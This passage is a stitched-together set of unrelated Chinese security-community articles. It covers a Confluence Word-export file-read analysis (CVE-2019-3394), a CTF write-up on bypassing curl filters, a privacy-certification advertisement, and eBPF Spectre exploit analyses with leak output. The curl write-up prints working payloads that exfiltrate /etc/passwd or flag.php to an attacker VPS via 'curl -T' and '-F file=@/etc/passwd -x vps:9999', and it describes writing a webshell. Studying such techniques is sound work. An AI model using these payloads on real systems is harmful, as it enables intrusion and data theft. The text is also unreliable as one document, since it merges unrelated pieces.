LDAP 认证凭据或其他敏感信息。和之前应急过的一个漏洞一样，跳不出WEB目录，因为 confluence 的 web 目录和 data
目录一般是分开的，用户的配置一般保存在 data 目录，所以感觉危害有限。
### 漏洞影响
* 6.1.0 <= version < 6.6.16
* 6.7.0 <= version < 6.13.7
* 6.14.0 <= version < 6.15.8
### 补丁对比
看到漏洞描述，触发点是在导出 Word 操作上，先找到页面的这个功能。
接着看下代码层面，补丁是补在什么地方。
6.13.7是6.13.x的最新版，所以我下载了6.13.6和6.13.7来对比。
去除一些版本号变动的干扰，把目光放在`confluence-6.13.x.jar`上，比对一下
对比两个jar包，看到有个 importexport 目录里面有内容变化了，结合之前的漏洞描述，是由于导出Word触发的漏洞，所以补丁大概率在这里。
importexport 目录下面有个`PackageResourceManager` 发生了变化，解开来对比一下。
看到关键函数`getResourceReader`，`resource =
this.resourceAccessor.getResource(relativePath);`，看起来就是获取文件资源的，`relativePath`的值是`/WEB-INF`拼接`resourcePath.substring(resourcePath.indexOf(BUNDLE_PLUGIN_PATH_REQUEST_PREFIX))`而来的，而`resourcePath`是外部传入的，看到这里，也能大概猜出来了，应该是`resourcePath`可控，拼接`/WEB-INF`，然后调用`getResource`读取文件了。
### 流程分析
找到了漏洞最终的触发点，接下来就是找到触发点的路径了。之后我试着在页面插入各种东西，然后导出
Word，尝试着跳到这个地方，都失败了。最后我在跟踪插入图片时发现跳到了相近的地方，最后通过构造图片链接成功跳到触发点。
首先看到`com.atlassian.confluence.servlet.ExportWordPageServer`的`service`方法。
public void service(SpringManagedServlet springManagedServlet, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String pageIdParameter = request.getParameter("pageId");
Long pageId = null;
if (pageIdParameter != null) {
try {
pageId = Long.parseLong(pageIdParameter);
} catch (NumberFormatException var7) {
response.sendError(404, "Page not found: " + pageId);
}
} else {
response.sendError(404, "A valid page id was not specified");
}
if (pageId != null) {
AbstractPage page = this.pageManager.getAbstractPage(pageId);
if (this.permissionManager.hasPermission(AuthenticatedUserThreadLocal.get(), Permission.VIEW, page)) {
if (page != null && page.isCurrent()) {
this.outputWordDocument(page, request, response);
} else {
response.sendError(404);
}
......
}
在导出 Word
的时候，首先会获取到被导出页面的`pageId`，之后获取页面的内容，接着判断是否有查看权限，跟进`this.outputWordDocument`
private void outputWordDocument(AbstractPage page, HttpServletRequest request, HttpServletResponse response) throws IOException {
......
try {
ServletActionContext.setRequest(request);
ServletActionContext.setResponse(response);
String renderedContent = this.viewBodyTypeAwareRenderer.render(page, new DefaultConversionContext(context));
Map<String, DataSource> imagesToDatasourceMap = this.extractImagesFromPage(renderedContent);
renderedContent = this.transformRenderedContent(imagesToDatasourceMap, renderedContent);
Map<String, Object> paramMap = new HashMap();
paramMap.put("bootstrapManager", this.bootstrapManager);
paramMap.put("page", page);
paramMap.put("pixelsPerInch", 72);
paramMap.put("renderedPageContent", new HtmlFragment(renderedContent));
String renderedTemplate = VelocityUtils.getRenderedTemplate("/pages/exportword.vm", paramMap);
MimeMessage mhtmlOutput = this.constructMimeMessage(renderedTemplate, imagesToDatasourceMap.values());
mhtmlOutput.writeTo(response.getOutputStream());
......
前面会设置一些 header
之类的，然后将页面的内容渲染，返回`renderedContent`，之后交给`this.extractImagesFromPage`处理
private Map<String, DataSource> extractImagesFromPage(String renderedHtml) throws XMLStreamException, XhtmlException {
Map<String, DataSource> imagesToDatasourceMap = new HashMap();
Iterator var3 = this.excerpter.extractImageSrc(renderedHtml, MAX_EMBEDDED_IMAGES).iterator();
while(var3.hasNext()) {
String imgSrc = (String)var3.next();
try {
if (!imagesToDatasourceMap.containsKey(imgSrc)) {
InputStream inputStream = this.createInputStreamFromRelativeUrl(imgSrc);
if (inputStream != null) {
ByteArrayDataSource datasource = new ByteArrayDataSource(inputStream, this.mimetypesFileTypeMap.getContentType(imgSrc));
datasource.setName(DigestUtils.md5Hex(imgSrc));
imagesToDatasourceMap.put(imgSrc, datasource);
......
这个函数的功能是提取页面中的图片，当被导出的页面包含图片时，将图片的链接提取出来，交给`this.createInputStreamFromRelativeUrl`处理
private InputStream createInputStreamFromRelativeUrl(String uri) {
if (uri.startsWith("file:")) {
return null;
} else {
Matcher matcher = RESOURCE_PATH_PATTERN.matcher(uri);
String relativeUri = matcher.replaceFirst("/");
String decodedUri = relativeUri;
try {
decodedUri = URLDecoder.decode(relativeUri, "UTF8");
} catch (UnsupportedEncodingException var9) {
log.error("Can't decode uri " + uri, var9);
}
if (this.pluginResourceLocator.matches(decodedUri)) {
Map<String, String> queryParams = UrlUtil.getQueryParameters(decodedUri);
decodedUri = this.stripQueryString(decodedUri);
DownloadableResource resource = this.pluginResourceLocator.getDownloadableResource(decodedUri, queryParams);
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
resource.streamResource(outputStream);
return new ByteArrayInputStream(outputStream.toByteArray());
} catch (DownloadException var11) {
log.error("Unable to serve plugin resource to word export : uri " + uri, var11);
}
} else if (this.downloadResourceManager.matches(decodedUri)) {
String userName = AuthenticatedUserThreadLocal.getUsername();
String strippedUri = this.stripQueryString(decodedUri);
DownloadResourceReader downloadResourceReader = this.getResourceReader(decodedUri, userName, strippedUri);
if (downloadResourceReader == null) {
strippedUri = this.stripQueryString(relativeUri);
downloadResourceReader = this.getResourceReader(relativeUri, userName, strippedUri);
}
if (downloadResourceReader != null) {
try {
return downloadResourceReader.getStreamForReading();
} catch (Exception var10) {
log.warn("Could not retrieve image resource {} during Confluence word export :{}", decodedUri, var10.getMessage());
if (log.isDebugEnabled()) {
log.warn("Could not retrieve image resource " + decodedUri + " during Confluence word export :" + var10.getMessage(), var10);
}
}
}
} else if (uri.startsWith("data:")) {
return this.streamDataUrl(uri);
}
.....
这个函数就是获取图片资源的，会对不同格式的图片链接进行不同的处理，这里重点是`this.downloadResourceManager.matches(decodedUri)`，当跟到这里的时候，此时的`this.downloadResourceManager`是`DelegatorDownloadResourceManager`，并且下面有6个`downloadResourceManager`，其中就有我们想要的`PackageResourceManager`。
跟到`DelegatorDownloadResourceManager`的`matches`方法。
public boolean matches(String resourcePath) {
return !this.managersForResource(resourcePath).isEmpty();
}
......
private List<DownloadResourceManager> managersForResource(String resourcePath) {
return (List)this.downloadResourceManagers.stream().filter((manager) -> {
return manager.matches(resourcePath) || manager.matches(resourcePath.toLowerCase());
}).collect(Collectors.toList());
}
`matches`方法会调用`managersForResource`方法，分别调用每个`downloadResourceManager`的`matches`方法去匹配`resourcePath`，只要有一个`downloadResourceManager`匹配上了，就返回
true。来看下`PackageResourceManager`的`matches`方法
public PackageResourceManager(ResourceAccessor resourceAccessor) {
this.resourceAccessor = resourceAccessor;
}
public boolean matches(String resourcePath) {
return resourcePath.startsWith(BUNDLE_PLUGIN_PATH_REQUEST_PREFIX);
}
static {
BUNDLE_PLUGIN_PATH_REQUEST_PREFIX = DownloadResourcePrefixEnum.PACKAGE_DOWNLOAD_RESOURCE_PREFIX.getPrefix();
}
`resourcePath`要以`BUNDLE_PLUGIN_PATH_REQUEST_PREFIX`开头才返回true，看下`BUNDLE_PLUGIN_PATH_REQUEST_PREFIX`，是`DownloadResourcePrefixEnum`中的`PACKAGE_DOWNLOAD_RESOURCE_PREFIX`，也就是`/packages`。
public enum DownloadResourcePrefixEnum {
ATTACHMENT_DOWNLOAD_RESOURCE_PREFIX("/download/attachments"),
THUMBNAIL_DOWNLOAD_RESOURCE_PREFIX("/download/thumbnails"),
ICON_DOWNLOAD_RESOURCE_PREFIX("/images/icons"),
PACKAGE_DOWNLOAD_RESOURCE_PREFIX("/packages");
所以，`resourcePath`要以`/packages`开头才会返回true。
回到`createInputStreamFromRelativeUrl`方法中，当有`downloadResourceManager`匹配上了`decodedUri`，就会进入分支。继续调用`DownloadResourceReader
downloadResourceReader = this.getResourceReader(decodedUri, userName,
strippedUri);`
private DownloadResourceReader getResourceReader(String uri, String userName, String strippedUri) {
DownloadResourceReader downloadResourceReader = null;
try {
downloadResourceReader = this.downloadResourceManager.getResourceReader(userName, strippedUri, UrlUtil.getQueryParameters(uri));
} catch (UnauthorizedDownloadResourceException var6) {
log.debug("Not authorized to download resource " + uri, var6);
} catch (DownloadResourceNotFoundException var7) {
log.debug("No resource found for url " + uri, var7);
}
return downloadResourceReader;
}
跳到`DelegatorDownloadResourceManager`中的`getResourceReader`
public DownloadResourceReader getResourceReader(String userName, String resourcePath, Map parameters) throws DownloadResourceNotFoundException, UnauthorizedDownloadResourceException {
List<DownloadResourceManager> matchedManagers = this.managersForResource(resourcePath);
return matchedManagers.isEmpty() ? null : ((DownloadResourceManager)matchedManagers.get(0)).getResourceReader(userName, resourcePath, parameters);
}
这里会继续调用`managersForResource`去调用每个`downloadResourceManager`的`matches`方法去匹配`resourcePath`，如果匹配上了，就继续调用对应的`downloadResourceManager`的`getResourceReader`方法。到了这里，就把之前的都串起来了，如果我们让`PackageResourceManager`中的`matches`方法匹配上了`resourcePath`，那么这里就会继续调用`PackageResourceManager`中的`getResourceReader`方法，也就是漏洞的最终触发点。所以要进入到这里，`resourcePath`必须是以`/packages`开头。
整个流程图大概如下
### 构造
流程分析清楚了，现在就剩下怎么构造了。我们要插入一张链接以`/packages`开头的图片。
新建一个页面，插入一张网络图片
不能直接保存，直接保存的话插入的图像链接会自动拼接上网站地址，所以在保存的时候要使用 burpsuite 把自动拼接的网站地址去掉。
发布时，抓包
去掉网址
发布之后，可以看到，图片链接成功保存下来了
最后点击 导出 Word 触发漏洞即可。成功读取数据后会保存到图片中，然后放到 Word 文档里面，由于无法正常显示，所以使用 burp 来查看返回的数据。
成功读取到了`/WEB-INF/web.xml`的内容。
### 其他
这个漏洞是无法跳出web目录去读文件的，`getResource`最后是会调到`org.apache.catalina.webresources.StandardRoot`里面的`getResource`方法，这里面有个`validate`函数，对路径有限制和过滤，导致无法跳到`/WEB-INF/`的上一层目录，最多跳到同层目录。有兴趣的可以去跟一下。
利用 Pocsuite3 演示该漏洞：
### 参考链接
[Local File Disclosure via Word Export in Confluence Server -CVE-2019-3394](https://jira.atlassian.com/browse/CONFSERVER-58734)
* * * | 社区文章 |
# 绕过限制利用curl读取写入文件
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 本篇原创文章参加双倍稿费活动，预估稿费为600元，活动链接请点[此处](https://www.anquanke.com/post/id/98410)
## 说明
最近做了一道wonderkun师傅出的一道CTF的题目，学到了很多的姿势，包括PHP的函数用法以及curl的用法。一般都是利用curl来发送HTTP的请求，可是在实际的漏洞利用过程，curl却是一个非常好的利用工具。因为Linux系统中一般都会自带curl工具，其次是curl支持file协议，意味着我们能够读取本地文件。
所以在很多实际情况下，我们不得不使用curl，但是我们又要防止被攻击者利用读取我们系统本地的文件，那么我们一般都会加上校验代码，对于传入的curl的参数进行校验。但是很多时候由于开发者的安全意识不够，我们还是能够绕过校验读取敏感文件。
而本篇文章就是在CTF的题目上加上我自己的思考，用以说明curl的用法或者说是绕过不同类型的过滤代码。
## curl写文件
如果有一段这样的代码，如下：
<?php
include 'flag.php' ;
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
system("curl ".$url);
首先需要明确的是curl是支持file协议的，可以通过file协议读取文件。其实curl还支持很多其他的协议，但在这里不是重点。
spoock@ubuntu:~$ curl file:///etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
.....
但在这道题目中，对传入的url进行了检测，url的协议需要是`http`或者是`https`。那么是不是就没有办法了呢？在curl中存在一个`-o`的参数，表示`-o/--output
<file> 指定输出文件名称`。那么问题就很简单了，直接curl读取远程文件，写入成为一个webshell。
读取文件:
在服务器上面写入了webshell。
## curl 转发
如果在服务器上面禁止写入文件，那么上面通过写入webshell来读取文件的方式就行不通了。读取文件必须使用到`file`协议，但是又限制了`$url`的协议必须为`http`或者是`https`，那么我是否可以通过跳转的方式，将`http`跳转到`file`协议呢？
我在我的vps创建一个`redirect.php`文件，如下：
<?php
header("Location: file://///etc/passwd");
exit();
但是在默认情况下，curl并不会进行跳转,需要加上`-L`的参数。如下：
但即使是加上了`-L`的参数，curl也无法读取文件:
不知道为什么会出现这样的问题，正如之前所展示的`curl
file:///etc/passwd`这种方式是可以读取文件，为什么跳转的时候却无法读取文件。希望有大佬可以指点一下。
所以通过跳转的方式卒！
## curl PUT文件
条件同样是在服务器上面禁止写文件。
这种方式是在搜索的时候，看到了一个CTF的技巧。可以借助curl中的`-T`参数进行读取文件，`-T localfile 向服务器PUT文件 例如：curl
-T 1.mp3 www.jbxue.com/upload.php`。通过`curl
-T`将参数发送到vps上面。就可以利用curl的这个功能来将文件PUT上传给我们的主机，由于PUT
method是HTTP的，所以主机需要支持web服务，然后带上端口。那么我们的利用方式可以变为:
curl -T flag.php vps:port
在vps上面进行监听。在本地进行测试:
在本地完美执行，但是问题是在服务器上面测试的，还是无法绕过对`http`和`https`的检查。当带有端口时，`parse_url`无法识别。如下：
。
那么默认的就只有80端口了。这个问题也很好解决，在服务器上面的80端口，需要开启PUT方法,创建一个文件用于接受发送过来的文件即可。
<?php
$putData = fopen("php://input",r);
file_put_contents('passwd.txt',$putData);
以下就是演示：
在服务器顺利生成了`passwd.txt`文件。
## 进阶
上面仅仅只有一个检查`http`和`https`协议的防护，对参数没有进行任何的过滤。如果是下面这种情况，使用`escapeshellarg`和`escapeshellcmd进行`了过滤呢？
<?php
include 'flag.php' ;
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);
如果增加了`escapeshellarg`和`escapeshellcmd`的过滤呢。
* escapeshellarg,将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
* escapeshellcmd,会对以下的字符进行转义&#;`|*?~<>^()[]{}$`, `x0A` 和 `xFF`, `'` 和 `"`仅在不配对儿的时候被转义
以下就是使用的效果，如下：
在字符串增加了引号同时会进行转义，那么之前的payload`http://192.168.158.131/test/index.php?url=http://xxx.com
-T
/etc/passwd`的方式就无法使用了，因为增加了`'`进行了转义，所以整个字符串会被当成参数。注意`escapeshellcmd`的问题是在于如果`'`和`"`仅在不配对儿的时候被转义。那么如果我们多增加一个`'`就可以扰乱之前的转义了。如下：
但是这样并不会成功。在本地进行尝试的时候，显示结果如下:
spoock@ubuntu:/var/www/html/ctf$ curl 'http://192.168.158.131/ctf/index.php'\'' -T /etc/passwd'
curl: Can't open '/etc/passwd''!
curl: try 'curl --help' or 'curl --manual' for more information
无法识别文件`/etc/passwd'`，那么只能使用其他的方法了。在curl中存在`-F`提交表单的方法，也可以提交文件。`-F <key=value>
向服务器POST表单，例如：curl -F "web=[@index](https://github.com/index
"@index").html;type=text/html"
url.com`。提交文件之后，利用代理的方式进行监听，这样就可以截获到文件了,同时还不受最后的``的影响。那么最后的payload为：
http://baidu.com/' -F file=@/etc/passwd -x vps:9999
最终运行的结果是`curl 'http://baidu.com/'\'' -F file=@/etc/passwd -x
vps:9999'`，对于`'http://baidu.com/'\''`来说，由于`\`是转义的``，后面的一对`'`直接可以忽略了，所以实际上执行的是`curl
'http://baidu.com/'`。代理`-x vps:9999'`后面的`'`对于代理也没有影响，因此最后就能够正常地执行了。
在vps上面监听9999端口，就可以顺利地收到服务器发送过来的`/etc/passwd`文件，但是这个问题是在于对于服务器上面的`curl`版本有要求，不是所有的版本的都能够执行成功。以下我进行的测试：
在7.47上面无法成功：
在7.38上面顺利执行:
在7.19上面也是可以顺利执行的。
根据猜测，可能在是新版本中，先会执行`curl
http`的操作，但是由于在后面增加了``,例如`http://127.0.0.1`，但是curl无法找到这样的文件，出现404。出现404之后，后面的提交文件的操作就不进行了，程序就退出了。这样在vps上面就无法接受到文件了。
## 总结
通过这个漏洞，还是学习到了很多关于`curl`的用法，以及`escapeshellarg`和`escapeshellcmd`造成的问题。关于`header("Location:
file://///etc/passwd");`这种方式不成功，希望有大佬能够指点一下。
## 参考
[PHP escapeshellarg()+escapeshellcmd() 之殇](https://paper.seebug.org/164/) | 社区文章 |
# 报一学五|数据安全焕新学习计划来袭，立即查看！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**2023-数据安全-焕新学习计划**
报名DPO认证，可升级为国际注册隐私新版课程体验官！
**新版课程体验官** ： **23年新版IAPP 3门直播课程均可任选一门免费参加（不含考试费）**
## 活动时间
**2023年3月1日-5月1日**
构建全面的数据合规知识体系
只需报名一个认证
即可让两大系列的国际隐私数据安全知识
全部收入囊中
**报一学五**
PDPF ➕ PDPP ➕ ISO 27001 Foundation ➕ PIPL
➕
（3选1）国际注册隐私管理/技术/法律（欧洲）
近日，数据保护官（DPO）认证的发证机构EXIN对该高级认证中的PDPP进行了升级改版。现有的PDPP认证考试题将在2023年4月30日以后升级为新的版本，
**2023年4月30日前，接受培训和考试的学员不受考纲变更影响。**
## 谷安近期开课时间
### **DPO**
全球数据隐私保护领域的前沿认证
DPO认证是EXIN基于GDPR的隐私与数据保护发布的专有体系发布，包含PDPF-GDPR（或PDPF-PIPL）、PDPP、ISO/IEC 27001
Foundation3个认证。
**★ 数据保护和隐私认证受众人群，包括：**
▶ IT和安全专业人员：他们需要了解如何保护敏感信息，确保用户或客户的隐私。
▶ 商业高管和经理：他们需要了解隐私法规，确保公司符合这些法规。
▶ 公务员：他们需要了解隐私法规，以及如何正确处理敏感信息。
▶ 律师和法律专业人员：他们需要了解隐私法律和法规，并帮助组织掌握保护个人数据的法律要求。
▶ 消费者和个人：他们需要了解有关隐私的权利以及如何保护自己的个人信息。
▶ 医疗保健专业人员：他们需要了解有关保护健康信息的法律和法规。
▶ 教育工作者和学校管理人员：他们需要了解隐私法律和法规，特别是有关保护学生信息的法律法规。
▶ 研究人员：他们需要了解有关保护研究参与者信息的隐私法律和法规
**总的来说，任何处理个人信息或敏感数据的人都需要掌握数据隐私保护的相关知识体系。**
PDPF-PIPL认证涵盖了《个人信息保护法》相关的主要议题，以及与欧盟《通用数据保护条例》（GDPR）的比较。
**现在报名DPO数据保护官认证赠送EXIN-PIPL（基于个保法的隐私和保护）视频课程，**
本课程为谷安天下联合某世界500强企业数据安全专家独家研发制作，旨在帮助国内数据合规同仁对个保法进行针对性且全面地学习。
关于如何进行个人信息影响评估，PIPL提出要包括以下几个方面：
1\. 个人信息的处理目的、处理方式等是否合法、正当、必要。
2\. 对个人权益的影响及安全风险。
3\. 保护措施是否合法、有效并与风险等级相适应。
个人信息处理者必须将影响评估报告记录在案并至少存档三年。
学员专属社群内交 **流**
### **01** **关于国际注册信息隐私经理**
证书持有者被认定为拥有运营和管理企业、机构数据隐私的专才，即在了解隐私法律法规的基础上，懂得根据企业和机构的需求、特殊性，把数据隐私管理技术融入到实践管理当中。
证书偏组织内部数据合规与隐私管理：风险管理、隐私操作、审计、隐私分析、职责划分。参加本课程的人，将学习通过系统和技术管理组织隐私的技能，该认证已获得ANSI/ISO标准17024:2012
的认可。
### **02** **关于国际注册信息隐私技术专家**
在信息经济时代，国际注册隐私协会旨在培养各行各业在隐私和数据保护法律&实践管理方面的专业人才，让专业的技术专家可以通过对隐私知识的了解提升其职业高度、专业度以适应行业发展。
注册信息隐私技术专家着重关注如何管理和建立隐私要求相关的技术，主要是关于如何使用技术实现隐私保护的要求。认证涉及对科技产品隐私结构的整体数据构建、组织方面知识掌握。
证书适合有技术背景的人员，主要涉及：信息技术（IT）、信息安全、软件工程、隐私设计
### **03** **关于国际注册信息隐私专家**
信息隐私专家认证课程包含泛欧和国家数据保护法、关键隐私术语和有关个人数据保护的实用概念、跨境数据流。GDPR 的相关培训是对
DPO（数据保护官员）的基本要求之一。DPO 的工作职责 是监督数据合规性、管理&保护内部数据保护、培训数据处理人员，以及进行内部审计等。
获得信息隐私专家认证代表对 GDPR 知识的 & 观点的全面掌握，以及足够的理解
数据保护&在欧洲的相关法规，并在欧洲隐私法的相关职业发展上占据优势。拥有国际隐私专业协会颁发的 《国际信息隐私经理认证》 和 《国际信息隐私专家》
双项认证后，将满足欧盟对 DPO（数据保护官员）在 GDPR 培训方面的独特职业门槛 要求。信息隐私专家认证内容涉及 DPO
必须具备的有关欧洲立法法律框架的知识， 而信息隐私经理认证涉及关于管理企业/机构数据保护工作所需的理论基础。
本认证适合从事法律法规、信息管理、数据管理、人力资源的相关人群。
## 关于我们
**谷安天下是EXIN官方授权机构** ，上课使用的资料、习题、纸质证书等全部由谷安统一寄出，一次缴费后再无其他费用，让您省心和放心。
◆认证报名：无学历和工作经验要求，且不需要再维持，终身有效
◆培训考试：线上培训和考试，随班一起考，没有指定日期
谷安培训的理念为“格物致知，知行合一”，
以服务国家和行业为己任，以培养德才兼备的信息安全人才为宗旨，聚集了一批业内信息安全专家学者，为政府、央企、银行、证券、保险、电信、移动、交通、电力、安全厂商、互联网公司、高校等行业培养优秀信息安全专业人才几万人，创造了大批科研成果，影响和推动了中国信息安全行业的发展。
作为数字风险领域的人才与知识服务机构、专业的信息安全培训机构，谷安天下始终瞄准世界前沿，秉承国际化的视野，构建丰富的信息安全培训体系。 | 社区文章 |
## 前言
下图是bleepingcomputer上总结的一些CPU漏洞，已经有许多博客和论文分析了这些漏洞。值得注意的是，ebpf的Spectre变种1(CVE-2017-5753)的补丁并没有考虑全面，导致了CVE-2019-7308。对于Spectre变种4(CVE-2018-3639)Jann
Horn也给出了一个需要patch内核的利用ebpf的POC。这篇文章主要分析这两个漏洞ebpf的利用方式。在一些漏洞分析的文章中对ebpf有所提及[2][4]，所以这里也不再赘述，不清楚的读者在阅读接下来的部分之前最好自行查看参考资料。
## CVE-2018-3639利用ebpf的攻击方式
为了避免重复，这里只根据微软的文章简述Speculative Store Bypass的原理[7]。考虑下面的代码。
01: 88040F mov [rdi+rcx],al
02: 4C0FB6040E movzx r8,byte [rsi+rcx]
03: 49C1E00C shl r8,byte 0xc
04: 428B0402 mov eax,[rdx+r8]
如果CPU推测加载指令与之前的存储指令无关，那么可以在存储指令执行之前执行加载指令。第1行的MOV指令在特殊情况下可能需要额外的时间来执行(如果计算RDI+RCX的地址表达式正在等待先前的指令执行)。在这种情况下，CPU可能会推测MOVZX指令不依赖于MOV指令，并且可能在MOV指令执行之前执行MOVZX指令。这可能会导致位于RSI+RCX的内存中的旧数据被加载到R8中，从而导致第四行代码使用了错误的数据。
Project Zero给出的利用CVE-2018-3639攻击ebpf的EXP需要patch
linux内核源码[8]，先来看看改动的内容。在ebpf系统调用中增加了处理0x13370001的情况，处理这个新增的cmd用的是`map_time_flush_loc`函数。
该函数读取`ptr + attr->flags`指向的内容，使用rdtscp计算读取的时间。
EXP的`array_time_flush_loc`函数中用到这部分逻辑计算读取mapfd中偏移`idx+off`处内容需要的时间。
还有就是在`bpf_base_func_proto`函数中加了一个helper函数`bpf_clflush_mfence_proto`，它的主要作用是清空缓存。
EXP中使用`BPF_CALL`可以调用到这部分逻辑。
EXP中我们先看ebpf指令部分，旁边我已经加上了伪代码注释。首先是一些设置。
然后拿到需要泄露的内存的地址。之前`leak_bit`函数调用了`array_set_dw(input_map, 0, addr)`对此进行了设置。
设置r9为`leak_map`偏移2048处。
设置r1=r7，然后清一下缓存。
设置r3=fp-216。
接下来就是最关键的部分了。因为`*(u64 *)(r8)=r3`执行起来比较慢，所以提前执行了`r1=*(u64
*)(r6)`取到了需要泄露的内存的地址，然后`r2=*(u8 *)(r1)`取到了其中的值。
后面的代码需要结合`leak_bit`函数理解。对于sockfds[16]来说根据最开始的`BPF_ST_MEM(BPF_B, BPF_REG_FP,
-216, dummy_ff ? 0x00 : 0xff)`指令可以知道sockfds[bit+8]的`*(u8
*)(fp-216)=0x00`，sockfds[bit+0]的`*(u8
*)(fp-216)=0xff`。对于sockfds[bit+8]和sockfds[bit+0]，它们的selected_bit=bit&7是相同的，如果取到的值是1，r2=0x1000，那么最后`r0=*(u8
*)(r9)= r0=*(u8 *)( leak_map偏移2048+0x1000)`；如果取到的值是0，r2=0，那么最后`r0=*(u8 *)(r9)=
r0=*(u8 *)( leak_map偏移2048)`。而sockfds[bit+8]没有推测执行的话`r0=*(u8 *)(
leak_map偏移2048)`；sockfds[bit+0]没有推测执行的话`r0=*(u8 *)(
leak_map偏移2048+0x1000)`。所以如果sockfds[bit+8]读取`leak_map`偏移2048+0x1000需要的时间短，说明取到的值应该是1；如果sockfds[bit+0]读取`leak_map`偏移2048需要的时间短，说明取到的值应该是0。
后面再在`leak_byte`函数中进一步调用`leak_bit`函数一个一个bit拼起来就得到了泄露的byte。
用该EXP泄露指定地址的数据如下。
$ sudo grep core_pattern /proc/kallsyms
ffffffff9b2954e0 D core_pattern
$ gcc -o bpf_store_skipper_assisted bpf_store_skipper_assisted.c
$ time ./bpf_store_skipper_assisted ffffffff9b2954e0 5
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
4 vs 96
1 vs 99
100 vs 0
100 vs 0
100 vs 0
2 vs 98
0 vs 100
100 vs 0
ffffffff9b2954e0: 0x63 ('c')
2 vs 98
1 vs 99
1 vs 99
1 vs 99
100 vs 0
2 vs 98
0 vs 100
100 vs 0
ffffffff9b2954e1: 0x6f ('o')
100 vs 0
3 vs 97
100 vs 0
100 vs 0
1 vs 99
2 vs 98
0 vs 100
100 vs 0
ffffffff9b2954e2: 0x72 ('r')
2 vs 98
100 vs 0
0 vs 100
100 vs 0
100 vs 0
0 vs 100
0 vs 100
100 vs 0
ffffffff9b2954e3: 0x65 ('e')
100 vs 0
100 vs 0
100 vs 0
100 vs 0
100 vs 0
100 vs 0
100 vs 0
100 vs 0
ffffffff9b2954e4: 0x00 ('')
real 0m31.591s
user 0m2.547s
sys 0m27.429s
## ebpf中CVE-2017-5753的补丁不完善导致的CVE-2019-7308
我们仍然只根据Project Zero的文章简述Bounds Check Bypass的原理[1]。考虑下面的代码。
CPU可能会不检查if语句中的条件就推测其为真，先将下一步指令所需要的内存加载到缓存之中，假如发现推测错误再回滚指令。但是这时CPU缓存并没有清空，通过侧信道攻击可以取到`arr1->data[untrusted_offset_from_caller]`中的值。
在ebpf系统中为了修补这个漏洞，在每个需要取数组元素的操作中都将数组的索引和掩码相与避免越界访问。
如果map不是由具有`CAP_SYS_ADMIN`权限的用户创建的，还会为JIT代码添加同样的操作。
补丁对数组中的指针计算并没有作用，来看看EXP是如何利用这一点的[5]。EXP中有两个重要的结构体，`mem_leaker_prog`和`array_timed_reader_prog`。
首先设置`mem_leaker_prog.data_map`的偏移0x1200，0x2000和0x3000处为1。
在`leak_byte`函数中依次调用`leak_bit`函数得到泄露出指定地址的内存。
下面来看`trigger_proc(leakprog->sockfd)`调用的ebpf指令。首先，取到之前`array_set_2dw(leakprog->control_map,
0, 12-bit_index, byte_offset)`设置的`12-bit_index`和`byte_offset`。
取`mem_leaker_prog.data_map`的偏移0x1200处的值，前面说了这个值被设置为1，`BPF_AND`和`BPF_OR`对值没有影响，只是为了延长时间，使得之后的`BPF_JGT`指令CPU推测执行为false。
通过`r4=*(u8
*)(r4)`读到了泄露地址的内存，左移`12-bit_index`位之后和0x1000相与，如果`bit_index`位的值是1，结果是0x1000，加上0x2000导致`mem_leaker_prog.data_map`偏移0x3000处的值被加载到了缓存；如果`bit_index`位的值是0，结果是0x0，加上加上0x2000导致`mem_leaker_prog.data_map`偏移0x2000处的值被加载到了缓存。
返回到`leak_bit`函数中，接下来分别去算读`mem_leaker_prog.data_map`偏移0x2000处的值需要的时间times[0]和`mem_leaker_prog.data_map`偏移0x3000处的值需要的时间times[1]。times[0]
< times[1]说明`bit_index`位的值是0，times[0] >
times[1]说明`bit_index`位的值是1。ebpf指令非常简单，结合注释可以很容易看懂。
对于这种情况的补丁，掩码需要考虑的情况有很多，要处理的值可能存在于源寄存器中(如`ptr+=val`)，也可以存在于目的寄存器中(如`val+=ptr`)；limit取决于ALU操作是加或减以及偏移量的正负。在补丁增加的`retrieve_ptr_limit`函数中如果ALU操作是加但是偏移是负的，或者ALU操作是减但是偏移是正的说明是减法，`mask_to_left`被设置为1；否则说明是加法，`mask_to_left`被设置为0。对于map类型的指针减法的`limit=ptr_reg->umax_value+ptr_reg->off`，加法的`limit=ptr_reg->map_ptr->value_size–(ptr_reg->smin_value+ptr_reg->off)`；对于stack类型的指针减法的`limit=MAX_BPF_STACK+off`，加法的`limit=-off`，其中`off=ptr_reg->off+ptr_reg->var_off.value`。
在`fixup_bpf_calls`函数中根据前面计算的limit对寄存器中的值进行掩码运算从而避免越界访问。
